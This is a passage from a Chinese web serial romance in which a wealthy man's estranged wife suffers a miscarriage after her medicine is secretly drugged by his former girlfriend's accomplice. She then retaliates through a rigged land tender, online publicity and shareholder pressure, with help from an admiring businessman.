苏容泽沉吟片刻说道:“他是不是舍不得分财产给你?”
“那倒不是,我们有婚前协议。”
车到了季家别墅,苏容泽停下车,他有些心疼的望着舒星若:“如果你在这里过得实在不开心,我可以送你去国外,等你和季宴礼的离婚生效了再回来。”
舒星若摇头:“不了,我现在有事业,还有外公外婆在国内。季宴礼不怎么回家,回家了我也会当他是空气。”
“行,你要我帮助随时开口。何欣的事我帮你去问杨思淼,有消息告诉你。”
“谢谢!”
舒星若准备推开车门的时候,苏容泽拿出一个丝绒礼盒递了上来,“送给你!”
舒星若没有接,诧异的问道:“好端端的为什么送我礼物?”
“谢礼啊!你不求回报的救我外婆于水火,我必须要感谢你。”
舒星若微微一笑:“不用了,救人是我作为医生的分内事。你每次这样谢来谢去,会让我觉得你啰嗦得像个老太太。心意我收下了,谢谢苏总!”
说完,舒星若打开车门下车了。
苏容泽快步下车,他俊逸的脸上因为激动略微有些泛红,他不由分说的将礼物塞进舒星若的怀里:“我买好的礼物不会收回去的。”
说完,他转身上车,车子呼啸而去。
回到家,舒星若顾不得看礼物,她实在太困了,上楼换了睡衣倒头就睡。
再醒来,季宴礼已经坐在了她床边。虽然他那张脸一如既往的俊朗,舒星若却看着直犯恶心。
她无意识的打了个冷战,往床里面缩了缩。
季宴礼不悦:“你就这么怕我吗?”
舒星若垂眸:“你找我什么事?”
季宴礼指了指桌上的丝绒盒子,问道:“哪来的项链?”
舒星若说:“我买的。”
他嘴角一歪:“你之前把家里的首饰都卖了,我还以为你从此以后都不买了。”
舒星若不语。
季宴礼站起身来说:“既然身体不好,天天奔波是为了什么,我养不起你吗?”
舒星若抬眸,冷冷的看着他:“季总你养多少女人都养得起。”
她那双温柔似水的眸子荡然无存,只剩下彻骨的冰冷,季宴礼被她看得心烦意乱。
“舒星若,你现在跟我好好说话不会吗?”
舒星若没有搭理她,径直走进洗手间洗了把脸。
出来的时候季宴礼已经走了,她打开盒子,里面是一条海瑞温斯顿的SUNFLOWER小号钻石项链。
吊坠上围满一圈钻石,主钻是圆钻,火彩很足,戴在脖子上,阳光晒下来,夺人眼目。
她打开手机给苏容泽发了信息:【谢谢苏总的礼物,我很喜欢。】
苏容泽秒回:【愿你像太阳花一样熠熠生辉。】
【一定会的。】
下楼去餐厅吃饭,季宴礼和季知许已经在等她了。见季宴礼也在,她忍不住蹙眉,狗男人她看见了胃就不舒服。
虽然佣人做了一大桌子菜,但没几个是她爱吃的,季宴礼压根就记不住她的喜好。
她只简单的吃了几口便准备上楼。
季宴礼:“家里的饭菜这么让你倒胃口?”
舒星若毫不示弱:“是有些人让我倒胃口。”
季宴礼怒道:“当着孩子的面我希望你好好说话。”
舒星若说:“我希望季总能放我和孩子自由,省得妨碍季总去追逐精彩纷呈的生活。”
季宴礼拿起面前的碗,用力摔在地上,瓷器碎裂的声音让本就压抑的餐厅更加死寂。
“舒星若,你当年既然处心积虑的嫁给我,现在想拍拍屁股走人,我告诉你,没那么容易。”
他丢下一句话拂袖而去,他没有离开别墅,而是回了自己的房间。
季宴礼走了之后,舒星若心头郁结顿时散开不少。
果然是他让自己倒胃口。
她戴上一次性手套,给季知许剥了几只象拔蚌和蛏子。
季知许问舒星若:“妈妈,你现在是看见爸爸就生气吗?”
舒星若说:“嗯!可能是妈妈怀着小宝宝,控制不了自己的情绪,下次妈妈尽量忍着。”
季知许却说:“不用忍着,你想骂他就骂呗,他确实该骂。”
“他惹你了?”
季知许放下筷子,小嘴快翘上天了:“我们今天去迪士尼玩,恬恬的妈妈带我们去看花车巡游。还没等几分钟,他就要走,说是那个女人手受伤了要找他。他二话不说把我丢给恬恬妈妈走了。恬恬妈妈都说我很可怜,摊上了这样的爸爸。”
舒星若本来已经转为晴天的心情,又乌云密布了。
陪季知许吃完饭之后,她上去找季宴礼。
季宴礼正在同何欣打电话:“你的手千万别沾水,否则很难好。”
第37章 季宴礼,我没有你那么无耻
舒星若并不等他挂断电话,大声的讥讽道:“季总什么时候变成了医生了?”她不介意电话那头的何欣听到。
季宴礼被她猝不及防的声音吓了一跳,他瞪了一眼舒星若,柔声对何欣说:“你先休息吧,明天我再去看你,自己当心点。”
挂了电话,他的温柔瞬间消失,脸上凝结着寒冰。他坐在沙发上,语气坚硬的说道:“舒星若,挑衅我对你没有好处。”
舒星若淡定的说道:“你既然分身乏术,为什么不放我和许许走?我给你们腾地方。”
季宴礼站起来,压迫感十足的盯着舒星若:“你当年设计爬床的时候怎么不放过我?”
舒星若怒火攻心,决定一不做二不休,将那天的录音拿出来放给季宴礼听。
季宴礼平静的听完,脸上没有任何波澜。
“你为了离婚现在倒是不择手段了,这种录音,我公司技术部可以给你出更清晰版的。”
果然如舒星若猜想的一般,他对何欣的人品深信不疑。
“那好,季总,祝你和她白头到老。你不离婚也可以,以后在家里,我们井水不犯河水,尤其是在儿子面前,我们不要吵架,会影响他的心情。”
季宴礼鄙夷的说道:“舒星若,你只是我豢养的一只宠物,你没有资格跟我谈判。还有你别想着在外面找男人报复我,我只要发现你跟苏容泽在一起,我会让你们两个都身败名裂。”
舒星若眼含鄙视:“季宴礼,我不会像你那么无耻,婚姻存续期间还在外面勾三搭四,为了陪她,儿子都能丢在迪士尼里。”
季宴礼血气翻涌,怒气上头,他伸手捏紧舒星若的脸颊,狠厉的说道:“怎么,做小伏低的装了六年,现在不想装了,变着法子来气我?舒星若,我告诉你,这场婚姻我说了算,我不会轻易放你出去逍遥快活的。”
他手劲很大,捏得舒星若的脸生疼,她的眼泪在眼眶中打转,但她忍着不让眼泪掉下来。
只死死的盯着他。
季宴礼被她盯得有些头晕,松开了手,喝道:“滚,以后别来我房间。”
舒星若不甘示弱的回敬他:“彼此彼此。”
回到房间,舒星若看见镜中雪白的脸上留下清晰的指印,怕季知许看见,找了点药敷上。
她在心里咒骂着:“季宴礼,你个王八蛋,敢这么对我?我不会让你好过的。”
他们的动静被在二楼干活的文友兰听得一清二楚,她偷偷给何欣报讯:【他们刚刚大吵了一架,太太的脸上有伤痕。】
何欣收到信息以后大喜过望,她回:【可以下在她的药里了,明天早上也下,下完之后毁掉所有证据。】
她给文友兰转了三十万。
文友兰下楼将舒星若的药热了,按照何欣的指示,在摄像头的死角处,悄悄往药里加了何欣送来的药粉。药粉遇水即化,表明上根本就看不出来。
她将药端给舒星若,“太太,您该喝药了。”
舒星若一如既往的喝下。
佣人给季知许洗完澡后,季宴礼来看他,“对不起,今天爸爸有事,没有陪你好好玩,下次爸爸一定补偿你。”
季知许冷着脸:“不用了,我和妈妈不用你的虚情假意。”
季宴礼喉咙一阵发堵:“爸爸今天确实做得不对,我向你道歉。”
季知许冷漠的回应:“我知道了,你走吧,我要睡觉了。”
季宴礼被赶出来之后看了一眼舒星若的房间,也已经关灯了。他心想:“就算她恨我,也要乖乖把孩子生下来。”
第二天早上文友兰如法炮制,又将那碗掺了粉末的药送给舒星若,毫不知情的舒星若仍然喝下了。
季宴礼吃过早饭就出门了,舒星若心知肚明,他是去陪何欣了。她已经毫不在意这个男人了,泰然自若的陪季知许在院子里骑车玩。
骑着骑着她突然觉得肚子一阵剧疼,回洗手间一看,已经开始流血了。慌忙打车去医院,医生一检查,孩子保不住了。
医生让她给家属打电话,舒星若打给林安禾:“来一趟医院,我肚子里的孩子保不住了,要动手术。”
林安禾匆忙赶到的时候,舒星若已经被送进手术室进行清宫手术,幸好还可以打无痛,否则刮宫会令她痛不欲生。
麻醉醒来之后,床边的林安禾眼睛红红的。
她扶起舒星若喂了点红糖水给她喝,舒星若喝了几口,眼泪就流了下来。
林安禾将糖水放在一旁,抱着舒星若道:“想哭你就痛快的哭一场吧。”
舒星若悲从中来,放声大哭了起来,她哭过一阵之后,缓缓放开林安禾。
她坚定的说道:“肯定是有人在我的药里动了手脚,帮我报警。”
林安禾帮舒星若报了警,警察很快来录了口供。根据舒星若的口供,警方将嫌疑人锁定在文友兰的身上。
文友兰从季家别墅被带走,警察将季家搜了个遍也没搜出任何药物,翻看别墅的监控依旧一无所获。
文友兰到了公安局以后开始装傻:“警察同志,请问我犯了什么事吗?”
审讯的警察说:“你的雇主喝了你送的药流产了,她怀疑是你给她下药。”
文友兰大喊:“冤枉啊,太太自己就是中医,我又不懂药理,怎么会给她下药?”
之后无论审讯民警问什么,她都直呼冤枉。
他们查了文友兰的账户,最近大额转入的那笔钱非常有嫌疑,跟着又去查转账人,是个海外账户,无法查到信息。
警方接着去调查了文友兰的通话记录,何欣联系她的用的是海外虚拟号码,微信用的是一名残疾人的身份证注册的号。
警方头大,对方的反侦察意识太强,没有留下任何证据。
他们只好用那笔钱来审讯文友兰,文友兰一口咬定是她那身在国外的丈夫汇的,由于没有超过三十万,不构成大额财产来源不明罪。
警方只好将文友兰放了。
林安禾去公安局询问了具体情况,她倒吸一口凉气,心想:“若若这次面临的对手真的很厉害,各方面都考虑到了。”她怀疑是何欣干的,但警方都查不到证据,她更加无能为力。
傍晚,得知舒星若流产的季宴礼,怒不可遏的冲进舒星若的房间。
第38章 她不指望他
舒星若面无血色的躺在床上,她睡着了,长长的睫毛覆盖在她精致的脸庞上,沉静又美丽。
见到她,季宴礼的怒气丝毫未减。他粗暴的摇醒舒星若,眼里的愤怒几乎要溢出来:“舒星若,你怎么敢的?将我的孩子打掉,你恨我就恨我,为什么拿孩子撒气?”
舒星若冷冷的盯着他:“谁告诉你我打掉孩子的?”
季宴礼讥笑道:“你昨天晚上跟我大吵一架,今天孩子就没了。你觉得我会那么傻,信你是恰好流产的吗?”
舒星若斜睨他:“你爱信不信。”翻身准备继续睡觉。
她这副满不在乎的样子使季宴礼怒火更盛,上前来拽舒星若,舒星若早有防备,摸到床头的毫针,一针刺进他的章门穴。暴跳如雷的季宴礼瞬间变成化石,全身不能动弹。
季宴礼怒道:“舒星若,放开我。”
舒星若瞪着他:“你闭嘴。”她手里还握着一根毫针,“你再叭叭我不介意让你闭嘴。”
季宴礼闭嘴不语。
舒星若指了指自己肿得像桃子的眼睛:“你个傻缺,你看不出来我眼睛又红又肿吗?你孩子被人害死了,你不去找罪魁祸首来找我麻烦,脑子玩女人玩坏掉了吗?”
季宴礼仔细瞧了瞧她,确实眼睛哭肿了,他问:“是谁害死了我的孩子?”
舒星若说:“我报警了,警察把文友兰抓去了,查出来昨天晚上有人给她转了三十万。但是转账的账号在境外,查不到源头。她一口咬定是她老公打的,你觉得有那么巧的事吗?她老公失踪多年,突然给她打钱了?你要想知道幕后主使自己去查。”
季宴礼说:“好,对不起,是我误会你了。我去查,你可以放开我了吗?”
舒星若盯着他的眼睛说:“其实我不查也知道幕后主使就是何欣,但是你不会相信。”
季宴礼难以置信:“不可能的,欣欣从不害人,她最是温柔善良,你不要肆意污蔑她。”
舒星若翻了个大大的白眼:“你的脑子不用就捐了,你迟迟不肯离婚,你猜谁最急?季宴礼,害死我的孩子你也有份。”
季宴礼面如死灰。
她将毫针取下,季宴礼踉跄的回房间给打电话给言永飞。
“帮我查一下到底是谁在幕后指使文友兰,害死了我的孩子。”
言永飞说:“季总,这用脚想也知道是谁干的啊。”他很不喜欢何欣这个绿茶,但是他不敢在季宴礼面前说出来。
季宴礼骂:“让你查就去查,哪那么多废话?”
“知道了!”
打完电话季宴礼下楼叫刘管家查了所有佣人的资料一遍,只有身家清白的才可以留下。家里男人孩子都要查有没有犯罪记录,有的一律不用。
整个季家鸡飞狗跳到半夜,舒星若冷冷的看着他折腾,像看精神病一样。
她庆幸的是季知许被韦瑛接走了,否则他又要被这无脑的爹气得半死。
丧子之仇她没指望季宴礼能查出什么,她认定是何欣干的,她必须让何欣付出代价。
第二天上午,舒星若穿戴整齐的下楼吃早餐。
季宴礼望着他,略带心疼:“你可以在家休息一段时间,你们公司竞标的事叫你手下去就行了。”
舒星若警觉的问:“你怎么知道我们公司要投标?”
季宴礼说:“我知道你想开制药厂,其实没有必要,家里不缺你挣的三瓜两枣。你的医术怎样我清楚,不需要证明给外人看。”
怪不得他突然发疯,把竞拍价定那么高,摆明了是不想让自己拍到那块地。
他为了给何欣铺路,倒是煞费苦心得很。
舒星若直勾勾的盯着他的眼睛:“那你为什么让何欣做瑞祥制药的CEO?你就需要她挣的三瓜四枣吗?”
季宴礼低下头去,默默吃早餐不再说话。
喝完一碗花胶后,舒星若问:“文友兰抓到了没有?”
“没有,她跑了。你放心,我一定会抓住她的。”
舒星若嘴角露出一抹讥讽的笑,信他还不如信条狗。
季宴礼看出她的讥讽,大为不悦:“你这是什么意思?你觉得我不想给孩子报仇?”
舒星若冷哼:“仇人就在你公司,你怎么不去?”
季宴礼继续用沉默来回应她。
十分钟后,夫妻俩各自出门,季宴礼叫高峰送舒星若上班,自己开车去公司。
舒星若对他迟来的关心并不在意,她现下要做的是让何欣付出代价。
到了公司,舒星若召集投标小组开会,进行了详细布局。
下午大家出发去规划局,招标会在他们会议室举行,现场只有瑞祥和行止两家公司。
何欣趾高气扬的望着舒星若,嘴角带着挑衅的笑容。一副舒星若奈何不了她的嘴脸。
舒星若并没有回应她,只见行止这边手忙脚乱的到处找东西,似乎丢了什么重要的东西。
何欣的助理莫依白走进来,对着她耳朵低声说:“行止的标书落厕所了,我已经拍照发给您了。”
何欣打开手机一看,行止的竞标价竟然是九千九百万,比他们足足高了四百万。她不能让舒星若拿到这块地,立刻回信息给莫依白:【赶紧把投标价格改成一亿。】
莫依白连忙出去修改标书,很快拿着新的标书进来了。
随后褚茗带着工作人员进场,宣布投标开始。两家公司各自递交标书,半个钟头之后,褚茗宣读各自的标价。
“行止生物科技有限公司,七千万。”
“七千万?”何欣惊得差点咬掉舌头,“怎么会这样?”
她看向舒星若,只见她朝自己比了个“SB”的嘴型。何欣的心突突的跳,不知道舒星若到底干了什么。
褚茗接着说道:“瑞祥制药有限公司,一亿。我宣布,这块地由瑞祥制药获得产权三十年。”
结束之后,舒星若走到何欣面前,“我知道是你指使文友兰的。”
何欣装着云里雾里的样子:“我不知道你在说什么。”
舒星若微微一笑:“何欣,你不承认没关系。这只是一个开始,你给我记着,你欠我的,必须还回来。”
第39章 他兜不住
何欣对舒星若的口头恐吓倒没那么害怕了,她淡淡的笑道:“可惜啊,无论我做错什么事都有季宴礼帮我兜底。”
舒星若鄙视的望着她:“那我就拭目以待,看这次他兜不兜得住?”
何欣嘲讽的说:“你一个弃妇而已,你跟你妈一样,都是男人不要的货色。你以为他会为了你对付我吗?别做梦了。”
母亲是舒星若心里永远的伤疤,她怒道:“你敢再提我妈一个试试?”
何欣有恃无恐的笑:“我提一百次你又能把我怎么样?你妈就是个倒贴男人,还被男人嫌弃的东西。”
舒星若忍无可忍一个巴掌扇了过去,见何欣被打,瑞祥制药的人马上围了上来,除了易昌,纷纷指责舒星若。输了竞标在这打人泄愤。
行止生物的人也不甘示弱的跟他们吵了起来,大家从谩骂上升到人身攻击。公司的同事是懂得骂人的,大骂何欣靠男人上位,自己又蠢又坏。倒打一耙,偷标书把自己坑了进去。
易昌通知了季宴礼,季宴礼很快赶到。季宴礼到的时候,双方就差打起来了。
见季宴礼来了,何欣立马变脸,恢复了柔弱不能自理的样子,倒入他的怀里。
她泪眼蒙蒙:“阿礼,我赢了投标,妹妹就气得打我。你看,我的脸都肿了。”她拿起季宴礼的手抚摸自己的脸。
季宴礼目光冷冷的扫向舒星若:“道歉。”
舒星若昂起头,气场全开的说道:“我凭什么道歉,她挑衅我在先。何欣,我警告过你,你再惹我,我不介意把最后一层遮羞布撕下来。”
季宴礼同何欣心知肚明,舒星若指的是公布结婚证书,一旦坐实了何欣小三的身份,短时间内他们根本就不能在一起。
季宴礼怒道:“你敢?”
舒星若咬牙道:“你们大可以试试,看我敢不敢?”
一向温柔懂事的人突然变得蛮横无理,季宴礼只觉得心里狂跳,他骂了一句:“毒妇!”带着何欣走了。
袁晶意识到舒星若跟季宴礼的关系不简单,但是既然舒星若不说,她也不问,不过心里跃跃想看热闹。
舒星若找了几个营销号,大肆宣传季氏集团总裁的女朋友是个草包,多花了三千万投标一块地,就为了出风头。
财经新闻原本没什么热度,但大家将这件事往娱乐化方向引导,加上舒星若帮营销号投了几万豆荚,不到一个小时,这件事在互联网上变成了热点。
评论区更是带节奏。
【就是上次季宴礼给她买一亿珠宝的女人,好好的当金丝雀不好吗?非要跑到商场上来丢人现眼。】
【区区三千万而已,那个季总应该出得起,不过丢脸而已。】
【三千万而已?你一辈子能挣三千万吗?捅了这么大篓子,她男朋友不知道还敢不敢让她管理公司。】
【听说是他们偷错竞争对手的标书导致的高溢价,也是活该了。】
【偷标书?这么下作的?】
【大佬的女人哪懂做生意,不过人家有男人当靠山,自然有恃无恐。】
……
何欣还没回到季氏,整个集团已经知道了她超出行止生物三千万拿下那块工业用地。整个集团都在各个群里讨论总裁会对她怎么样?
平常季宴礼对他们可是严厉得变态。
季宴礼看着网络舆论,心知肚明是舒星若找人干的。
他叫言永飞安排撤了所有视频,网上所有关于何欣的讨论全部删除。
但是为时已晚,股东们已经从网上得知了这一消息,要求季宴礼紧急召开股东大会,商量对何欣的处置。
会议室里,季宴礼说:“不过是行止生物在带节奏,大家不必大惊小怪。”
股东郁仁说:“不光是舆论的问题,何欣实打实害得公司损失了三千万。何欣是季总的女朋友,您想扶她上位我们能理解,但是也要她有这个能力。瑞祥制药可不需要一个废物。”
“就是就是。”其余股东一起附和。
季宴礼面带愠色,“她不是废物,只是资料尚浅,这次是着了对手的道。”
郁仁冷冷的说:“咱们公司的位置都是能者胜之,季总想栽培人家大可以自掏腰包让她自立门户。爱怎么折腾就怎么折腾,反正不是我们股东的钱。何欣必须离开公司,同意她走的请举手表决。”
众人纷纷举起了手。
季宴礼虽然怒火中烧,但也无可奈何,“行,我一会让董事会秘书出函件通知人事部。”
他起身准备离开,郁仁拦住:“对于公司的损失,何欣必须赔偿,否则我们将报警处理。”
“对,她必须赔偿。”
“就是,三千万眨都不眨就送出去了,不知道的人还以为我们季氏都请的什么人?”
“三千万可不是个小数目,不能光开除了事,必须要给个说法。”
“还要对外公布,否则我们季氏的脸往哪搁?”
“对,告诉外面我们季氏还是英明的。”
面对七嘴八舌的股东们,季宴礼被吵得头疼。他沉声道:“三千万我会让她赔偿的。”
他整个人快气成了焦炭,出了会议室立刻给舒星若打电话,“很好,你现在学会了狠毒阴人,不仅挖坑害欣欣,还害得我颜面扫地。”
舒星若轻描淡写的说:“季宴礼,你的脸面你不是早就不要了吗?自己的孩子被人害死了,还在那里捧她的臭脚。一口一个欣欣的叫着,你不恶心的吗?”
季宴礼吼道:“我再说一遍,欣欣绝对不是凶手,她那么善良,她不会害人。”
舒星若嗤笑道:“行,季总你就继续保留她在你心目中的光辉形象。我不妨碍你们了。”
掐断了电话。
郁仁有严重的风湿,是她治好的,这次的事情她请郁仁帮忙的。郁仁也不全是为了帮舒星若,他也觉得何欣不适合留在公司,赶走她符合大家的利益。
“三千万,”舒星若指尖在桌子上轻轻写着,“这笔钱一定要让何家砸锅卖铁的出。别想季宴礼给她兜底。”
第40章 卖房赔钱
何欣待在季宴礼办公室里,等季宴礼开会回来。季宴礼人还没回来,她就看到人事对全集团发的通告:鉴于何欣重大工作失误,集团决定对其进行开除处理。对公司造成的三千万损失,予以原价赔偿。集团保留法律追究的权力。
这则通告同步发在了季氏集团的官网上。
何欣看到这则通告并不慌,区区三千万,季宴礼会给她的。只不过舒星若害得她丢了CEO的位置,着实可恨。
她心里暗暗发狠,不搅得舒星若离婚她不姓何。
何欣从包里拿出镜子,调整表情,务必让自己看起来更加楚楚可怜。
季宴礼回到办公室的时候,何欣已经泣不成声。脸上写满了委屈,睫毛上的泪水在控诉舒星若的罪行。
季宴礼满心满眼的心疼,“欣欣,让你受委屈了。”
何欣哽咽道:“阿礼,都是舒星若害我,她故意掉了假的标书,行止的人又装着在找东西,我才不小心上当的。你知道的,她那个人一向心机深重。”
季宴礼点头道:“是的,她诡计多端。我知道是她害你,但是这次股东联手施压,我也保不住你了。对不起!”
何欣急得直掉眼泪:“公司要我赔三千万,你知道我家现在的情况,我根本出不起这个钱。”
何宏在港城经营药房多年,这几年疫情下来,早就亏得底朝天,连何欣的积蓄都填进去不少,何家现在就是个空壳子。
季宴礼说:“这个你不用担心,我会让人从我私人账户拨钱给你。”但是他心里明白,舒星若不会轻易善罢甘休。他叫言永飞带着公关部盯着网络舆论,一有何欣不好的消息立刻删除。
何欣握住季宴礼的手,眼神扑闪扑闪的:“阿礼,谢谢你。”这次季宴礼没有躲,她想慢慢一步步的拿下季宴礼,舒星若你就等着被抛弃吧。
何欣回到自己的办公室,保安和人事已经等着她了。
人事总监说:“何小姐,我也是执行季总的命令,请谅解。”她是个人精,不会轻易得罪总裁的女朋友。
在保安的陪同下,何欣收拾了东西离开季氏大楼。
舒星若了解季宴礼,他不会让何欣赔钱的。但既然她布局了,就不会让季宴礼出这笔钱。
她请的公关公司再次让季氏的通告红遍全网,这次的的舆论导向是季宴礼大义灭亲,女朋友犯错也照样开除。
评论区有人质疑,【万一那三千万季宴礼帮她出呢!】
【加一,很有可能。】
【季氏的总裁能这么蠢?为了个女人打自己的脸?左手开除,右手自己填损失?】
【我觉得他也没那么蠢,真要这么干,同行不得笑话死?】
【对,听说当年季氏危机,就是这个总裁救起来的,那么蠢他爹季家安估计得削他。】
【放心吧,我们老板虽然宠爱他女朋友,公私还是分明的。】
【是的,不然季氏也不会做得这么大。】
评论区清一色的把季宴礼架起来,一旦他出钱的事被曝光,季氏颜面扫地,他自己也会丢脸。
言永飞将这些言论一一汇报给季宴礼,季宴礼冷着脸:“全删了。”
季家安的电话打了进来:“宴礼,何欣犯了错你不许给她填补,现在网上舆论已经起来了,你想明天开盘股价暴跌你就给。”
舒星若动手之前已经跟季家安说过了,她担心季宴礼会不顾舆论一心帮何欣,季家安是最后一道保险。
季宴礼急道:“爸,我不帮她你让她怎么办?她家没有钱。”
季家安冷漠的说道:“那是她自己的事。你敢帮他我就敢重回公司,你自己看着办。”
挂了电话后,季宴礼气得想把舒星若撕了,她越来越过分了。
他再气也不得不给银行经理发去信息:【三千万汇款暂停!】
眼下他得安抚何欣,他给何欣打去电话:“欣欣,现在风口浪尖上,我不能帮你。希望你能理解。”
何欣慌了神:“阿礼,那我怎么办?”
季宴礼说:“实在不行把你们港城的房子卖掉,一旦股东们报警你可能会坐牢。等风头过去,我再帮你。”
何欣哭哭啼啼了一阵,季宴礼安抚了一会将电话挂了。
祸是她闯的,她只能跟何宏说需要卖房子。
她愤恨的说道:“都是舒星若害我的,爸,你要不去找她麻烦?”
何宏叹气:“你当我不想找她吗?上次我去了之后,现在我连他们公司都进不去。”
田玉芬说:“那你就去季家找她。”
何欣冷静道:“不行,季宴礼在家,你去闹舒星若会胡说八道,可能会影响我们的感情。”
何宏不想卖房子,提议道:“要不你把季宴礼送你的珠宝卖了吧。”
何欣摇头:“要是卖了,季宴礼会马上离开我。”
一家人唉声叹气的去联系中介,讨论卖房子的事宜。
舒星若这边,苏容泽全程在网上吃瓜,他让宗司辰盯着,要是舒星若吃亏他就亲自下场帮忙。
苏容泽下来的时候,舒星若正准备下班。
他一脸笑意,看起来比舒星若还高兴。
之前他担心舒星若太柔弱,被那对狗男女欺负,想不到她突然爆发,挖了这么大的坑给何欣。
舒星若平静的说:“她害死了我的孩子,不报复她我枉为人母。”
苏容泽震惊:“什么时候的事?”
“就是昨天。”
舒星若简单的将事情说了一遍,苏容泽神色冷峻:“文友兰照片发给我,掘地三尺我也帮你把她找出来。”
舒星若心下感动:“好,我发给你。谢谢你!”
“不用,”苏容泽郑重的说:“你记着,有困难可以找我,不需要什么都自己扛。”
舒星若微笑:“你干嘛对我这么好?”
苏容泽说:“你就当我知恩图报呗。”他略带宠溺的说道:“不许拒绝。”
“好!”
两人一起下到地下停车场,苏容泽说:“你坐我的车,我帮你约了杨思淼,他说愿意给你讲他跟何欣的往事。”
第41章 何欣的往事
“往事?”舒星若有些意外,杨思淼竟然愿意说出来,苏容泽私下里必定费了不少功夫。
舒星若对他的感激之情更甚。
她真诚的说道:“苏总,谢谢你为我做的一切。”她坐进车里,对着他的侧颜,如希腊雕塑般流畅的线条。
苏容泽推了推金丝眼镜:“不必说这些,我真心希望你能达成所愿,狠狠的报复何欣母女。”
舒星若说:“你知道吗?每次季宴礼都不信我说的,坚信何欣是个小天使。”
苏容泽发动车子,轻声说道:“不是所有的男人都像他一样蠢。”
季宴礼在商场上所向披靡,他怎么会蠢?舒星若说:“他不是蠢,只是不爱我,偏爱何欣,所以对她的话深信不疑。”
“但是他还强行把你绑在他身边。”苏容泽眼里的鄙视都快要漫出来了。
“所以我要离开他,远离败类,尽享幸福人生。”舒星若俏皮的说道。
苏容泽笑了:“你能这么想再好不过了。”
苏容泽将车开到一家顶级会所,里面富丽堂皇的像宫殿。
杨思淼已经在包厢里了,到了饭点,三人先吃饭,吃饭期间杨思淼的脸色就不太好。
他看到了近期关于何欣的新闻:季宴礼为她在拍卖会上点天灯、季宴礼升她做瑞祥的CEO、昨天她被舒星若摁在地上摩擦。
杨思淼只觉得恍如隔世,何欣跟了他六年,在他心里是个不可多得的尤物。突然变成了贪慕虚荣的蠢货,他一时之间难以消化。
舒星若问:“杨思淼,你怎么今天情绪这么低落?是不舒服吗?”
苏容泽夹了一只海参放进她碗里,瞟了一眼杨思淼,“被何欣气的。”
舒星若记得杨思淼说过有好几个女伴,怎么突然这么在意何欣了?但他女伴众多的事是他们的秘密,舒星若也不好说什么。
吃完饭,苏容泽站起身来说:“我先出去,思淼,你把你知道的都告诉星若吧。”
舒星若诧异的抬头望他,他怎么突然不叫自己舒大夫了?苏容泽迎接她的目光,浅浅一笑,无限温柔。
苏容泽离开之后,杨思淼一直没有开口,舒星若只能问道:“你跟何欣认识多少年了?”
杨思淼说:“六年了,那年八月份,有次派对上,不知道是谁带她来的,一上来就缠上了我。她特别会撩,当场就弄得我欲火焚身。我俩就去酒店了,她是真会玩,那天晚上玩了两三个小时,第二天我腰都疼了。从那以后她就缠上我了,死命的要我带她去M国。”
舒星若低头沉思,“八月份?那时候她跟季宴礼还没分手,为什么急切的去勾引杨思淼?”
“你是不是当年给了很多钱给何欣?”
杨思淼说:“我看起来像那么傻吗?男人的钱是给女人看的,又不是给她花的。她跟了我六年,每年在她身上花一千来万吧,有礼物也有现金。我就慢慢吊着她,不过后来我确实有点离不开她,那方面功夫太好了。我所有的女人都比不上她,我怎么玩她都配合,有时候我折磨她,她都开心的笑。你说我能不喜欢吗?”
舒星若心想:“你还真是个人渣。”转念一想何欣被他不当人了六年,心里痛快了不少。就是还想不明白何欣为什么做局害自己。
舒星若问:“她有没有提过她当时有男朋友?”
杨思淼说:“没有,她跟我是第一次,我就没问过她以前的事。”
“那她后来为什么会离开你回国呢?”
杨思淼叹了口气:“还不是因为我身体出问题了,她拿这个威胁我,说我不放她回国她就到处宣扬。我要脸的,身体也不行了,留她在身边也没什么意思。”
杨思淼说完这些,舒星若开始思考接下来该怎么办。
半晌之后她开口道:“你跟何欣有没有视频照片什么的?”
杨思淼摇头:“没有,她从来不跟我合影,现在想来她是给自己留后路呢。怕曝光我们的关系。”
舒星若失望的叹气,线索又断了,季宴礼那个蠢货还要继续当何欣的靠山。
杨思淼探头过来说:“我听说季宴礼是你老公,何欣是他初恋,你想我帮你对付她你就尽快治好我,我有办法让季宴礼不要她。”
听完他前面的话舒星若都不想治这个人渣了,听他这么一说,舒星若点头答应:“行,我尽量三个月之内把你治好。”
“就不能再快点吗?”杨思淼禁欲禁得都快憋死了。
舒星若说:“没办法,要从内里慢慢调理,我要是用猛药你半个月就能好,但治标不治本,过不了多久你又不行了。”
他这几天听家里人说了舒星若给甘净莲治病的过程,倒相信她的话。
“行吧,我等你慢慢治好我。不过咱俩今天的谈话别告诉我二哥,他要是知道我在国外那么干非打死我不可。”
舒星若好奇:“你这么嚣张,为什么怕苏容泽?”
杨思淼翻了个白眼:“我们家族就没人不怕他的。”
两人聊完之后,苏容泽进来接舒星若,他见舒星若心情变好,问道:“杨思淼折磨过何欣?”
舒星若记得杨思淼的叮嘱,“他让我什么都不能告诉你,他很怕你。”
苏容泽摇头:“他不学无术我是知道的,我一直想让他走正道,可惜他家捐了那么多钱去国外名校也没用,始终扶不起来。家里的企业他接不住,他父母急得头发都白了。”
舒星若一直以为杨思淼的名校是自己考的,当时她还感慨人家玩归玩,学习还牛,想不到是钞能力。
不过他家公司一直营造他是学霸人设,想来不过是立人设,往企业脸上贴金。
两人一路没再聊这个话题,闲谈了一下舒星若公司产品的事,苏容泽说等市场调研报告出来以后,他帮舒星若出谋划策。
舒星若笑着说:“你这个商业大佬我可请不起。”
“我不收你贵,一天一百万就行了。”
“奸商!”
苏容泽正色道:“你的产品上市何欣可能又会对你动手,只要季宴礼帮她,你的路会很难走。”
第42章 我会娶她
舒星若何尝不知道这事,但木已成舟,她只能见招拆招。
苏容泽安慰她:“你放心,何欣要是为难你,到时候我会帮你。我要不帮你,我外婆都饶不了我。”
说起甘净莲,舒星若问:“老太太最近怎么样?”
“她啊,坚强得很,每天复建至少两小时,我看过不了多久就健步如飞了。她说她好了以后第一件事就来看你,给你备了大礼。”
舒星若忙拒绝:“你都送我谢礼,老太太的就不用了。”
苏容泽说:“没事,她老人家乐意呢,每天说起你眼睛都笑眯了缝,没事就夸你几句。我没跟她提你跟季宴礼的事,我让杨思淼和舅舅都不要提,不然她会帮你做掉季宴礼的。”
舒星若笑着说:“老太太这么正义的?”
“那倒也不是,她不爱管闲事,她只是心疼你这个救命恩人。”
舒星若笑得眉眼弯弯,“那看来我又多了一个大靠山。”
“那可不是。”
两人说笑了一阵,车子到了季家别墅,下车的时候他从后备箱拿了一大包补品塞给舒星若。他得知舒星若流产之后,心疼得肝都疼了,立刻安排宗司辰买了很多补品送到会所来。
舒星若心下感激:“苏总,你已经帮了我许多了,不用这么对我好啊。”
